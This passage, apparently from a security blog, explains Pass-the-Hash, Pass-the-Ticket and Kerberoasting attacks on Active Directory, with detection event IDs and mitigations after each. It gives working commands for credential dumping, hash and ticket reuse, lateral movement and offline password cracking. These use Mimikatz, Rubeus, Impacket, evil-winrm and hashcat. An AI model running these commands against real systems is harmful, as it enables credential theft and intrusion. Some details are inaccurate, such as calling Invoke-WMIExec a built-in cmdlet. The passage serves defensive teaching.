<p>Note that before leveraging the sekurlsa::logonpasswords command, attackers need to run the privilege::debug command so that the Mimikatz can run properly.</p>

    <aside class="admonition info">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor"
      stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-info">
      <circle cx="12" cy="12" r="10"></circle>
      <line x1="12" y1="16" x2="12" y2="12"></line>
      <line x1="12" y1="8" x2="12.01" y2="8"></line>
   </svg></div><b>Info</b>
        </div>
        <div class="admonition-content">By default, LSASS runs with high integrity and is protected from being debugged by unauthorized processes. However, by enabling the debugger privilege, the attacker can bypass this protection and access LSASS memory to extract the logon session data.</div>
    </aside>
<p>Below, you will find an example output of step one.</p>
<pre tabindex="0"><code>PS&gt; .\mimikatz.exe &#34;privilege::debug&#34; &#34;sekurlsa::logonpasswords&#34;

Authentication Id : 0 ; 302247 (00000000:00049ca7)
Session           : UndefinedLogonType from 0
User Name         : Alice
Domain            : DOMAIN
Logon Server      : DC1
Logon Time        : 12/01/2023 15:13:19
SID               : S-1-5-21-3501040295-3816137123-30697657-1109
        msv :
          [00000003] Primary
          * Username : Alice
          * Domain   : DOMAIN
          * NTLM     : a0c8746a6efc7782c7c19c55185145be
</code></pre><p>Having this NTLM hash, it is time for adversaries to jump to the second stage.</p>
<p>It is important to note that Mimikatz is not the only way to dump NTLM hashes. Adversaries often leverage other built-in command-line applications or third-party tools, such as ProcDump <sup id="fnref:11"><a href="#fn:11" class="footnote-ref" role="doc-noteref">11</a></sup> and Gsecdump <sup id="fnref:12"><a href="#fn:12" class="footnote-ref" role="doc-noteref">12</a></sup>, for credential dumping.</p>
<h5 id="step-2-authentication-through-the-stolen-password-hash">Step 2: Authentication through the stolen password hash</h5>
<p>This is the main step where the adversary passes the hash to impersonate the user and gain access to the remote system.</p>
<p>The &ldquo;sekurlsa::pth&rdquo; command in Mimikatz is a feature that facilitates &ldquo;Pass-the-Hash&rdquo; attacks. This technique allows an attacker to authenticate to a remote system by using a captured NTLM hash of a user&rsquo;s password, without the need for the actual password. To execute this command, the attacker must provide only the following parameters:</p>
<ul>
<li>/user: (the username),</li>
<li>/domain: (the domain name), and</li>
<li>/ntlm: (the NTLM hash of the user&rsquo;s password).</li>
</ul>

    <aside class="admonition info">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor"
      stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-info">
      <circle cx="12" cy="12" r="10"></circle>
      <line x1="12" y1="16" x2="12" y2="12"></line>
      <line x1="12" y1="8" x2="12.01" y2="8"></line>
   </svg></div><b>Info</b>
        </div>
        <div class="admonition-content">Note that Windows passwords are not only limited to the NTLM protocol, but may also use popular block encryption algorithms like AES-128 and AES-256 for password
storage. In such cases, adversaries would need to use the /aes128: or /aes256: parameters instead of /ntlm:.</div>
    </aside>
<pre tabindex="0"><code>PS&gt; .\mimikatz.exe &#34;sekurlsa::pth /user:Alice /domain:domain.com

/ntlm:a0c8746a6efc7782c7c19c55185145be&#34;

user    : Alice
domain  : domain.com
program : cmd.exe
impers. : no
NTLM    : a0c8746a6efc7782c7c19c55185145be
. . .
</code></pre><p>Notice how easily we gained access to a remote system without knowing only the username and NTLM hash of the victim’s password.</p>
<h5 id="step-3-accessing-resources-through-new-user-account">Step 3: Accessing resources through new user account</h5>
<p>In the third step, the attacker uses the newly obtained user account to expand their network access. For instance, the adversary can use a command-line utility called PsExec to perform remote code execution on another host.</p>
<p>For instance, the attacker can run the following command to run the &ldquo;cmd.exe&rdquo; process on the remote machine with an internal IP address &ldquo;192.168.52.146&rdquo;:</p>
<pre tabindex="0"><code>psexec.exe \\192.168.52.146 cmd.exe
</code></pre><p>Mimikatz is not the only way to perform a Pass-the-Hash attack. Adversaries often use the PowerShell, too.</p>
<h4 id="tool-2-powershell">Tool 2: PowerShell</h4>
<p>It is common for adversaries to use the Invoke-WMIExec cmdlet, which allows execution of arbitrary commands on a remote Windows machine using WMI (Windows Management Instrumentation), to perform a PtH attack.</p>

    <aside class="admonition info">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor"
      stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-info">
      <circle cx="12" cy="12" r="10"></circle>
      <line x1="12" y1="16" x2="12" y2="12"></line>
      <line x1="12" y1="8" x2="12.01" y2="8"></line>
   </svg></div><b>Info</b>
        </div>
        <div class="admonition-content"><p>Note that Invoke-WMIExec is a built-in PowerShell cmdlet that is present in many recent Windows systems. This feature enables the execution of arbitrary commands
on a remote Windows machine through Windows Management Instrumentation (WMI). You can run Invoke-WMIExec directly from a PowerShell prompt or integrate it into a
PowerShell script.</p>
<p>Being a built-in cmdlet makes the attack using Invoke-WMIExec more covert, as it does not require any additional downloads or installations.</p>
</div>
    </aside>
<p>For instance, having a password hash of the user called Alice from our previous scenario, an adversary can run the following command.</p>
<pre tabindex="0"><code>Invoke-WmiExec -target 192.168.52.146 -hash a0c8746a6efc7782c7c19c55185145be -username Alice -command hostname
</code></pre><p>In the command above, an adversary is using the Invoke-WmiExec script to run the command &ldquo;hostname&rdquo; on the remote machine with the internal IP address 192.168.52.146.</p>
<h4 id="tool-3-evil-winrm">Tool 3: evil-winrm</h4>
<p>The &ldquo;evil-winrm&rdquo; tool is a Ruby gem that enables the execution of remote commands on a Windows machine using the Windows Remote Management (WinRM) protocol. As evil-winrm is not a built-in tool, adversaries have to install it before the use. Various installation options are available in the corresponding GitHub repository <sup id="fnref1:10"><a href="#fn:10" class="footnote-ref" role="doc-noteref">10</a></sup>.</p>
<p>In a Pass-the-Hash attack using evil-winrm, the attacker specifies the username, NTLM hash, and IP address of the target system as parameters in the evil-winrm command <sup id="fnref:13"><a href="#fn:13" class="footnote-ref" role="doc-noteref">13</a></sup>.</p>
<p>For example, the following command can be used to perform a PtH attack on a Windows machine with IP address 192.168.52.146, using the username &ldquo;Alice&rdquo; and the NTLM hash &ldquo;a0c8746a6efc7782c7c19c55185145be&rdquo;:</p>
<pre tabindex="0"><code>evil-winrm -u Alice -H a0c8746a6efc7782c7c19c55185145be -i 192.168.52.146
</code></pre><p>With this information, evil-winrm establishes a remote connection to the target system and authenticates as the specified user (Alice), allowing the attacker to execute arbitrary commands on the remote machine.</p>
<h4 id="detection-methods-for-the-pass-the-hash-attack">Detection Methods for the Pass the Hash Attack</h4>
<p>Below, known Event IDs are added to detect a possible Pass-the-Hash attack <sup id="fnref:14"><a href="#fn:14" class="footnote-ref" role="doc-noteref">14</a></sup>, <sup id="fnref:15"><a href="#fn:15" class="footnote-ref" role="doc-noteref">15</a></sup>, <sup id="fnref:16"><a href="#fn:16" class="footnote-ref" role="doc-noteref">16</a></sup>, <sup id="fnref:17"><a href="#fn:17" class="footnote-ref" role="doc-noteref">17</a></sup>:</p>
<p><strong>Event ID 1</strong> - Process Create.</p>
<ul>
<li>Key Description Fields: LogonId, ParentProcessId, ParentImage, CurrentDirectory, CommandLine, IntegrityLevel, ParentCommandLine, ParentCommandLine, UtcTime,ProcessId, User, Hashes, Image</li>
</ul>
<p><strong>Event ID 5</strong> - Process terminated.</p>
<ul>
<li>Key Description Fields: UtcTime, ProcessId:, Image</li>
</ul>
<p><strong>Event ID 10</strong> - Process accessed.</p>
<ul>
<li>Key Description Fields: SourceThreadId, TargetProcessId, GrantedAccess,SourceImage, TargetImage</li>
</ul>
<p><strong>Event ID 4624</strong> - An account was successfully logged on.</p>
<ul>
<li>Key Description Fields: Account Name, Account Domain, Logon ID</li>
</ul>
<p><strong>Event ID 4663</strong> - An attempt was made to access an object.</p>
<ul>
<li>Key Description Fields: Process ID, Access Mask, Account Domain, Object Name, Process Name, Object Type, Logon ID, Handle ID</li>
</ul>
<p><strong>Event ID 4672</strong> - Special privileges assigned to new logon.</p>
<ul>
<li>Key Description Fields: Security ID, Account Name, Account Domain</li>
</ul>
<p><strong>Event ID 4688</strong> - A new process has been created.</p>
<ul>
<li>Key Description Fields: Required Label, Account Domain, Source Process Name, NewProcess Name, Token Escalation Type, New Process ID, Source Process ID</li>
</ul>
<h4 id="mitigation-techniques-for-the-pass-the-hash-attack">Mitigation Techniques for the Pass the Hash Attack</h4>
<p>To mitigate the risk of pass-the-hash attacks, organizations can employ several technical measures. One such measure is to enable Windows Defender Credential Guard, a feature that was introduced in Windows 10 and Windows Server 2016. This tool leverages virtualization to secure credential storage and restrict access to trusted processes only.</p>
<p>Another measure is to revoke administrator privileges from user workstations. This limits an attacker&rsquo;s ability to execute malware and extract hashes from LSASS.exe. Additionally, limiting the number of endpoints that users have administrative privileges on and avoiding administrative privileges across security boundaries reduces the risk of a compromised credential being used to escalate privileges.</p>
<p>Randomizing and storing local administrator passwords with a solution like Microsoft&rsquo;s Local Administrator Password Solution (LAPS) also adds an extra layer of security, as it reduces an attacker&rsquo;s ability to move laterally with local accounts that share the same password. It is also recommended to prevent local accounts from authenticating over the network, which can be achieved through the use of well-known SID&rsquo;s in group policies.</p>
<h2 id="pass-the-ticket-t1550003">Pass-the-Ticket (T1550.003)</h2>
<p>Pass the Ticket (PtT) is a technique that allows an attacker to use a previously acquired Kerberos Ticket Granting Ticket. The TGT is a crucial component of the Kerberos protocol, as it enables a user to authenticate to multiple systems without having to enter their password each time.</p>
<p>
    <aside class="admonition info">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor"
      stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-info">
      <circle cx="12" cy="12" r="10"></circle>
      <line x1="12" y1="16" x2="12" y2="12"></line>
      <line x1="12" y1="8" x2="12.01" y2="8"></line>
   </svg></div><b>Info</b>
        </div>
        <div class="admonition-content"><p>The Ticket Granting Ticket (TGT) is a type of ticket issued by the Domain Controller (DC) to a user upon successful authentication to the domain. It includes crucial information such as the user&rsquo;s session key, group membership, and privileges, which are used to request service tickets for specific services on target systems. Kerberos encrypts the TGT using the user&rsquo;s password hash and employs symmetric encryption algorithms (such as DES or AES) depending on the configuration of the Kerberos environment. After encryption, the TGT is sent to the user&rsquo;s computer and stored in memory.</p>
<p>When the user wants to access a resource on another system, they use the TGT to request a service ticket from the DC. The service ticket is also encrypted with the user&rsquo;s session key, and it contains an encrypted session key that can be used to authenticate to the target system. The service ticket is then sent to the user&rsquo;s computer, where it is used to authenticate to the target system.</p>
</div>
    </aside>
Having a stolen TGT key, an adversary can request a service ticket from the DC for a specific service on a target system to gain access to its resources.</p>
<h3 id="tools-and-techniques-to-perform-pass-the-ticket-attacks">Tools and Techniques to Perform Pass-the-Ticket Attacks</h3>
<p>Pass-the-Ticket (PtH) attacks can be executed by utilizing various publicly available tools, such as Mimikatz, Kekeo <sup id="fnref:18"><a href="#fn:18" class="footnote-ref" role="doc-noteref">18</a></sup>, Rubeus <sup id="fnref:19"><a href="#fn:19" class="footnote-ref" role="doc-noteref">19</a></sup>, Creddump7 <sup id="fnref:20"><a href="#fn:20" class="footnote-ref" role="doc-noteref">20</a></sup>, etc. Attackers often employ these tools to extract Kerberos TGTs from the memory of a compromised system and then use them to gain access to other systems on the network.</p>
<h4 id="tool-1-mimikatz-1">Tool 1: Mimikatz</h4>
<p>Usage of Mimikatz for the PtT attack consists of four main steps.</p>
<h5 id="step-1-capturing-kerberos-tickets-for-valid-accounts">Step 1: Capturing Kerberos tickets for valid accounts</h5>
<p>An attacker can use the sekurlsa::tickets Mimikatz command with the /export parameter to extract all the Kerberos tickets from memory and save them as .kirbi files and save them in the same folder where the Mimikatz executable file is located.</p>
<p>By examining the names of the .kirbi files, it is possible to determine if there are any Kerberos tickets for a domain administrator, such as DOMAIN\Alice:</p>
<pre tabindex="0"><code>PS&gt; mimikatz.exe &#34;privilege::debug&#34; &#34;sekurlsa::tickets /export&#34;
PS&gt; dir | findet &#34;Alice&#34; | findstr &#34;krbtgt&#34;
...
[0;1e4c7df]-2-0-40e10000-Alice@krbtgt-DOMAIN.COM.kirbi
...
</code></pre><p>The second command, dir | findet &ldquo;Alice&rdquo; | findstr &ldquo;krbtgt&rdquo;, lists all the files in the current directory and pipes the output to the findstr command to search for the text &ldquo;krbtgt&rdquo;. The purpose of this command is to find the Kerberos ticket file(s) related to the user &ldquo;Alice&rdquo;, which may include the &ldquo;krbtgt&rdquo; string in the file name.</p>
<p>
    <aside class="admonition info">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor"
      stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-info">
      <circle cx="12" cy="12" r="10"></circle>
      <line x1="12" y1="16" x2="12" y2="12"></line>
      <line x1="12" y1="8" x2="12.01" y2="8"></line>
   </svg></div><b>Info</b>
        </div>
        <div class="admonition-content">Note that Mimikatz is not the only tool to obtain Kerberos tickets. Adversaries can employ the Rubeus tool to generate raw AS-REQ traffic in order to ask for a TGT with a provided username and password.</div>
    </aside>
The advantage of this attack is that the password supplied to Rubeus can be encrypted in RC4, DES and AES algorithms, and the attack still would work <sup id="fnref:21"><a href="#fn:21" class="footnote-ref" role="doc-noteref">21</a></sup>.</p>
<h5 id="step-2-reusing-the-ticket">Step 2: Reusing the ticket</h5>
<p>This is the main step of the Pass-the-Ticket attack.</p>
<p>In this step, the attacker employs the Mimikatz command kerberos::ptt to insert the obtained TGT into their own session, resulting in their session taking on the identity and permissions of the stolen TGT for future access to resources without knowing the plaintext credentials.</p>
<p>This allows the adversary to access resources that would otherwise be protected by Kerberos authentication <sup id="fnref:22"><a href="#fn:22" class="footnote-ref" role="doc-noteref">22</a></sup>.</p>
<pre tabindex="0"><code>PS&gt; mimikatz.exe &#34;kerberos::ptt
C:\KerberosTickets\[0;1e4c7df]-2-0-40e10000-Alice@krbtgt-DOMAIN.COM.kirbi&#34;

* File:
&#39;C:\KerberosTickets\[0;1e4c7df]-2-0-40e10000-joed@krbtgt-DOMAIN.COM.kirbi&#39;: OK
</code></pre><p>Note that the above command is used to insert the Kerberos Ticket Granting Ticket (TGT) stored in the corresponding .kirbi file into the current session.</p>
<p>To make sure that the right ticket was injected, an adversary can use the “kerberos::list” Mimikatz command.</p>
<pre tabindex="0"><code>PS&gt; mimikatz.exe &#34;kerberos::list&#34;

[00000000] - 0x00000012 - aes256_hmac
Start/End/MaxRenew: 13/01/2022 09:47:44 ; 13/01/2022 09:47:44 ; 13/01/2022 09:47:44
Server Name     : krbtgt/DOMAIN.COM @ DOMAIN.COM
Client Name     : Alice @ DOMAIN.COM
Flags 40e10000  : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;
</code></pre>
    <aside class="admonition info">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor"
      stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-info">
      <circle cx="12" cy="12" r="10"></circle>
      <line x1="12" y1="16" x2="12" y2="12"></line>
      <line x1="12" y1="8" x2="12.01" y2="8"></line>
   </svg></div><b>Info</b>
        </div>
        <div class="admonition-content">It is important to mention that the TGT has a finite lifetime, and it will expire after a certain period of time. The user will need to re-authenticate to the domain to obtain a new TGT.</div>
    </aside>
<h5 id="step-3-discovering-privileges-of-the-stolen-ticket">Step 3: Discovering privileges of the stolen ticket</h5>
<p>Once an obtained ticket is ready for reuse, the attacker needs to identify its capabilities, i.e., where it can be utilized. A TGS can only provide access to the specific resource it was issued for, and the attacker can find out that information by examining the TGS.</p>
<p>To use a TGT, the attacker may have to perform an internal discovery phase to figure out the access it grants. This can be as simple as checking the user&rsquo;s group memberships and looking for clear signs.

    <aside class="admonition info">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor"
      stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-info">
      <circle cx="12" cy="12" r="10"></circle>
      <line x1="12" y1="16" x2="12" y2="12"></line>
      <line x1="12" y1="8" x2="12.01" y2="8"></line>
   </svg></div><b>Info</b>
        </div>
        <div class="admonition-content">Numerous tools can be employed to gather information about Active Directory.
However, an attacker can also use built-in commands like &ldquo;net&rdquo; to gather such
information without alerting security controls.</div>
    </aside></p>
<pre tabindex="0"><code>PS&gt; net user Alice /domain
The request will be processed at a domain controller for domain domain.com.

User name                   Alice  
Full Name                   Alice Oswell
Comment
User&#39;s comment
Country/region code         000 (System Default)
Account active              Yes
Account expires             Never
. . .
Local Group Memberships
Global Group memberships    *Workstation Administrators *VPNUser
                            *FileServer1_PublicShare *Domain Users
The command completed successfully.
</code></pre><h5 id="step-4-accessing-resources-through-new-user-account">Step 4: Accessing resources through new user account</h5>
<p>Lastly, the attacker can employ built-in OS utilities to move laterally in a stealthy manner so that they can try and gain access to other resources and further their goals. For instance, the adversary might leverage the PsExec command-line utility to run the powershell.exe on a remote workstation.</p>
<h4 id="detection-methods-for-the-pass-the-ticket-attack">Detection Methods for the Pass the Ticket Attack</h4>
<p>Below, known Event IDs are added to detect a possible Pass-the-Ticket attack <sup id="fnref1:14"><a href="#fn:14" class="footnote-ref" role="doc-noteref">14</a></sup>, <sup id="fnref1:15"><a href="#fn:15" class="footnote-ref" role="doc-noteref">15</a></sup>:</p>
<p><strong>Event ID 4768</strong> - A Kerberos Authentication Ticket (TGT) was requested.</p>
<ul>
<li>Key Description Fields: Account Name, Service Name (always &ldquo;krbtgt&rdquo;), Service ID, Client Address</li>
</ul>
<p><strong>Event ID 4769</strong> - A Kerberos Service Ticket was requested.</p>
<ul>
<li>Key Description Fields: Account Name, Service Name, Client Address</li>
</ul>
<p><strong>Event ID 4770</strong> - A Kerberos Service Ticket was renewed.</p>
<ul>
<li>Key Description Fields: Account Name, User ID, Service Name, Service ID</li>
</ul>
<h4 id="mitigation-techniques-for-the-pass-the-ticket-attack">Mitigation Techniques for the Pass the Ticket Attack</h4>
<p>Effective measures to counter pass-the-hash attacks concentrate on making tickets more difficult to steal and limiting the potential impact of a stolen ticket. One such measure is to utilize Microsoft&rsquo;s Windows Defender Credential Guard. This technology, which was introduced in Windows 10 and Windows Server 2016, leverages virtualization to secure credential storage and provide access only to trusted processes.</p>
<p>Another important step is to limit the number of endpoints where users have administrative privileges. This significantly reduces the risk of an attacker using a stolen ticket for lateral movement. It is also important to avoid granting administrative privileges across security boundaries, as this greatly reduces the risk of an attacker using a stolen ticket to escalate their privileges.</p>
<h2 id="kerberoasting">Kerberoasting</h2>
<p>Kerberoasting is a technique used to obtain password hashes for Active Directory (AD) user accounts that have servicePrincipalName (SPN) values.</p>
<p>In AD environments, SPNs are registered to user or computer accounts, known as &ldquo;service accounts.&rdquo; These accounts are utilized to run services and applications, and they are usually granted the least privilege necessary to perform their function. When a client requests a service from a server, it employs the SPN to locate the service account linked with the service. The client then authenticates to the service using the service account&rsquo;s credentials, which are stored as a password hash in AD.</p>
<p>In the case of Kerberoasting, an attacker can exploit the SPN value of a service account to request a service ticket (TGS). The TGS ticket may be encrypted (via RC4) with the password hash of the service account assigned to the requested SPN as the key. This means that an attacker who captures TGS tickets in network traffic or extracts them from memory can extract the password hash of the service account and perform an offline brute force attack to recover the plaintext password.</p>
<p>Note that Kerberoasting and Pass-the-Ticket attacks are two different techniques used to steal or impersonate valid credentials in a Kerberos environment.

    <aside class="admonition info">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor"
      stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-info">
      <circle cx="12" cy="12" r="10"></circle>
      <line x1="12" y1="16" x2="12" y2="12"></line>
      <line x1="12" y1="8" x2="12.01" y2="8"></line>
   </svg></div><b>Info</b>
        </div>
        <div class="admonition-content">Kerberoasting is a method of obtaining service account credentials by requesting service tickets from a domain controller and cracking them offline. It allows the attacker to gain access to network resources by using the service account&rsquo;s password hash. Pass-the-Ticket, on the other hand, is a technique where an attacker steals a Kerberos ticket-granting ticket (TGT) from a user&rsquo;s session and uses it to impersonate the user to gain access to network resources.</div>
    </aside>
Kerberoasting attacks can be executed by utilizing various publicly available tools and utilities, such as Impacket scripts.</p>
<h3 id="tools-and-techniques-to-perform-kerberoasting">Tools and Techniques to Perform Kerberoasting</h3>
<p>For this attack, not just one tool is used, but rather a collaboration of them, such as Mimikatz, Rubeus, Impacket, John the Ripper, Hashcat.</p>
<h4 id="tool-1-impacket">Tool 1: Impacket</h4>
<p>The Kerberoasting attack leveraging the Impacket script consists of three main parts.</p>
<h5 id="step-1-identifying-the-spns-and-requesting-tgss">Step 1: Identifying the SPNs and requesting TGSs</h5>
<p>The first step in Kerberoasting attacks is to enumerate (or identify) servicePrincipalNames and request service tickets (TGS).
The Impacket script GetUserSPNs (Python) can perform all the necessary steps to request a ST for a service given its SPN and valid domain credentials <sup id="fnref:23"><a href="#fn:23" class="footnote-ref" role="doc-noteref">23</a></sup></p>
<pre tabindex="0"><code># with a password
GetUserSPNs.py -outputfile kerberoastables.txt -dc-ip $KeyDistributionCenter &#39;DOMAIN/USER:Password&#39;

# with an NT hash
GetUserSPNs.py -outputfile kerberoastables.txt -hashes &#39;LMhash:NThash&#39; -dc-ip $KeyDistributionCenter &#39;DOMAIN/USER
</code></pre><p>The command above uses the GetUserSPNs.py script and specifies an output file, &ldquo;kerberoastables.txt&rdquo;, where the obtained password hashes will be stored.</p>
<p>The -dc-ip flag to specify the IP address of the domain controller and the -outputfile flag to specify where the obtained password hashes will be saved. It also uses the &lsquo;DOMAIN/USER:Password&rsquo; or &lsquo;DOMAIN/USER&rsquo; argument to provide the domain, username and password/NT hash of a valid domain user to request the ST.</p>
<p>Note that adversaries can also leverage the CrackMapExec (CME) tool to perform Kerberoasting against a list of systems specified by $TARGETS <sup id="fnref1:23"><a href="#fn:23" class="footnote-ref" role="doc-noteref">23</a></sup>.</p>
<pre tabindex="0"><code>crackmapexec ldap $TARGETS -u $USER -p $PASSWORD --kerberoasting kerberoastables.txt --kdcHost $KeyDistributionCenter
</code></pre>
    <aside class="admonition info">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor"
      stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-info">
      <circle cx="12" cy="12" r="10"></circle>
      <line x1="12" y1="16" x2="12" y2="12"></line>
      <line x1="12" y1="8" x2="12.01" y2="8"></line>
   </svg></div><b>Info</b>
        </div>
        <div class="admonition-content">The command above uses the &ndash;kerberoasting flag to specify an output file to save the obtained password hashes and &ndash;kdcHost flag to specify the IP address of the domain.</div>
    </aside>
<h5 id="step-2-offline-cracking-of-the-hash">Step 2: Offline cracking of the hash</h5>
<p>Having stolen passwords in the kerberoastables.txt file, the adversary can perform an offline brute force attack to obtain the plaintext password using the third-party tools, such as John the Ripper and Hashcat.</p>
<pre tabindex="0"><code>john --format=krb5tgs --wordlist=$wordlist kerberoastables.txt
</code></pre><p>The command above uses the &ndash;format=krb5tgs flag to specify that the hashes in the file &ldquo;kerberoastables.txt&rdquo; are in the format of Kerberos 5 TGS (Ticket Granting Service) and &ndash;wordlist flag to specify the location of the wordlist file to use in the cracking process. Once the command is executed, John will try to find a match between the password hashes and the words in the wordlist file.</p>
<h5 id="step-3-using-new-privileges-to-further-objectives">Step 3: Using new privileges to further objectives</h5>
<p>Once the password has been cracked, the attacker can use the service account&rsquo;s credentials to access network resources and further their objectives. This can include exfiltrating data, moving laterally within the network, or escalating their privileges.</p>
<h4 id="tool-2-rubeus">Tool 2: Rubeus</h4>
<p>The Kerberoasting attack that leverages Rubeus consists of four main parts.</p>
<h5 id="step-1-enumerate-serviceprincipalnames">Step 1: Enumerate servicePrincipalNames</h5>
<p>First step of a Kerberoasting attack is to identify and enumerate the Service Principal Names (SPNs) of the targeted service accounts with desirable privileges.</p>
<p>For this reason, adversaries can develop customized LDAP filters to look for users with SPN values registered for current domain <sup id="fnref:24"><a href="#fn:24" class="footnote-ref" role="doc-noteref">24</a></sup>.</p>
<pre tabindex="0"><code>$ldapFilter = &#34;(&amp;(objectClass=user)(objectCategory=user)(servicePrincipalName=*))&#34;
$domain = New-Object System.DirectoryServices.DirectoryEntry
$search = New-Object System.DirectoryServices.DirectorySearcher
$search.SearchRoot = $domain
$search.PageSize = 1000
$search.Filter = $ldapFilter
$search.SearchScope = &#34;Subtree&#34;
#Execute Search
$results = $search.FindAll()
#Display SPN values from the returned objects
$Results = foreach ($result in $results)
{
$result_entry = $result.GetDirectoryEntry()
$result_entry | Select-Object @{
Name = &#34;Username&#34;; Expression = { $_.sAMAccountName }
}, @{
Name = &#34;SPN&#34;; Expression = { $_.servicePrincipalName | Select-Object
-First 1 }
}
}
$Results
</code></pre><p>
    <aside class="admonition info">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor"
      stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-info">
      <circle cx="12" cy="12" r="10"></circle>
      <line x1="12" y1="16" x2="12" y2="12"></line>
      <line x1="12" y1="8" x2="12.01" y2="8"></line>
   </svg></div><b>Info</b>
        </div>
        <div class="admonition-content"><p>Note that SPNs are composed of two parts:</p>
<ul>
<li>the service class and</li>
<li>the host name.</li>
</ul>
<p>The service class is the name of the service, such as &ldquo;HTTP&rdquo; or &ldquo;ldap&rdquo;, and the host name is the DNS host name or the IP address of the machine where the service is running. For example, an SPN for a web server might be &ldquo;HTTP/webserver1.example.com&rdquo;, where &ldquo;HTTP&rdquo; is the service class and &ldquo;webserver1.example.com&rdquo; is the host name.</p>
</div>
    </aside>
The possible output of this LDAP filter is the following:</p>
<pre tabindex="0"><code>Username        SPN
--------        ---
ServiceAccount1 http/webserver1
ServiceAccount2 cifs/appserver2
</code></pre><h5 id="step-2-requesting-tgs-tickets">Step 2: Requesting TGS tickets</h5>
<p>An attacker can target specific service accounts by identifying and enumerating their Service Principal Names (SPNs) and then request Ticket Granting Service (TGS) tickets for these service accounts. Tools such as Rubeus can be used to automate this process by extracting the password hashes from memory <sup id="fnref:25"><a href="#fn:25" class="footnote-ref" role="doc-noteref">25</a></sup>.</p>
<pre tabindex="0"><code>PS&gt; .\Rubeus.exe kerberoast /simple /outfile:passwordhashes.txt

[*] Action: Kerberoasting
[*] NOTICE: AES hashes will be returned for AES-enabled accounts.
[*]         Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.
[*] Searching the current domain for Kerberoastable users
[*] Total kerberoastable users : 2
[*] Hash written to C:\Tools\hashes.txt
[*] Roasted hashes written to : C:\Tools\hashes.txt

PS&gt; Get-Content .\passwordhashes.txt

$krb5tgs$23$*ServiceAccount1$domain.com$http/webserver1*$45FAD4676AECDDE4C1397BF
CED441F79$DEB. . .

# ... output truncated ... #
</code></pre><h5 id="step-3-cracking-the-password-online">Step 3: Cracking the password online</h5>
<p>The next step in the attack is to obtain the plaintext passwords of the service accounts, this process is done by using an offline brute-force attack, which means that the attacker doesn&rsquo;t need to communicate with the active directory making it undetectable.</p>
<p>To perform this task, the attacker can use different tools such as John the Ripper and Hashcat, that are designed specifically for password cracking with dictionaries of common passwords:</p>
<pre tabindex="0"><code>PS&gt; .\hashcat.exe -m 13100 -o cracked.txt -a 0 .\passwordhashes.txt .\wordlist.txt
</code></pre><p>The command uses the hashcat.exe executable and specifies the following flags:</p>
<ul>
<li>-m 13100: This flag is used to specify the hash type, in this case Kerberos 5 TGS (Ticket Granting Service)</li>
<li>-o cracked.txt: This flag is used to specify the output file where the cracked passwords will be saved</li>
<li>-a 0: This flag is used to specify the attack mode, in this case 0 stands for &ldquo;Straight&rdquo; attack mode.</li>
</ul>
<p>The command also specifies the file paths of the passwordhashes.txt and wordlist.txt. Once the command is executed, Hashcat will try to find a match between the password hashes in the passwordhashes.txt file and the words in the wordlist.txt file.</p>
<h5 id="step-4-using-new-privileges-to-further-objectives">Step 4: Using new privileges to further objectives</h5>
<p>Once the password has been cracked, the attacker can use the service account&rsquo;s credentials to access network resources and further their objectives. For instance, having the account credentials, the adversary can use the runas tool with the /netonly parameter to run PowerShell as the &ldquo;ServiceAccount1&rdquo; user</p>
<h4 id="detection-methods-for-the-kerberoasting-attack">Detection Methods for the Kerberoasting Attack</h4>
<p>It is possible to identify various signs of Kerberoasting by observing the Windows event log for unusual requests for ticket-granting service (TGS) <sup id="fnref:26"><a href="#fn:26" class="footnote-ref" role="doc-noteref">26</a></sup>, <sup id="fnref:27"><a href="#fn:27" class="footnote-ref" role="doc-noteref">27</a></sup>.
<strong>Event ID 4769</strong> - A Kerberos Service Ticket was requested.</p>
<ul>
<li>Key Description Fields: Account Name, Service Name, Client Address</li>
</ul>
<p><strong>Event ID 4770</strong> - A Kerberos Service Ticket was renewed.</p>
<ul>
<li>Key Description Fields: Account Name, User ID, Service Name, Service ID</li>
</ul>
<h4 id="mitigation-techniques-for-the-kerberoasting-attack">Mitigation Techniques for the Kerberoasting Attack</h4>
<p>To safeguard service account passwords from Kerberoasting attacks, several measures can be taken such as <sup id="fnref:28"><a href="#fn:28" class="footnote-ref" role="doc-noteref">28</a></sup>:</p>
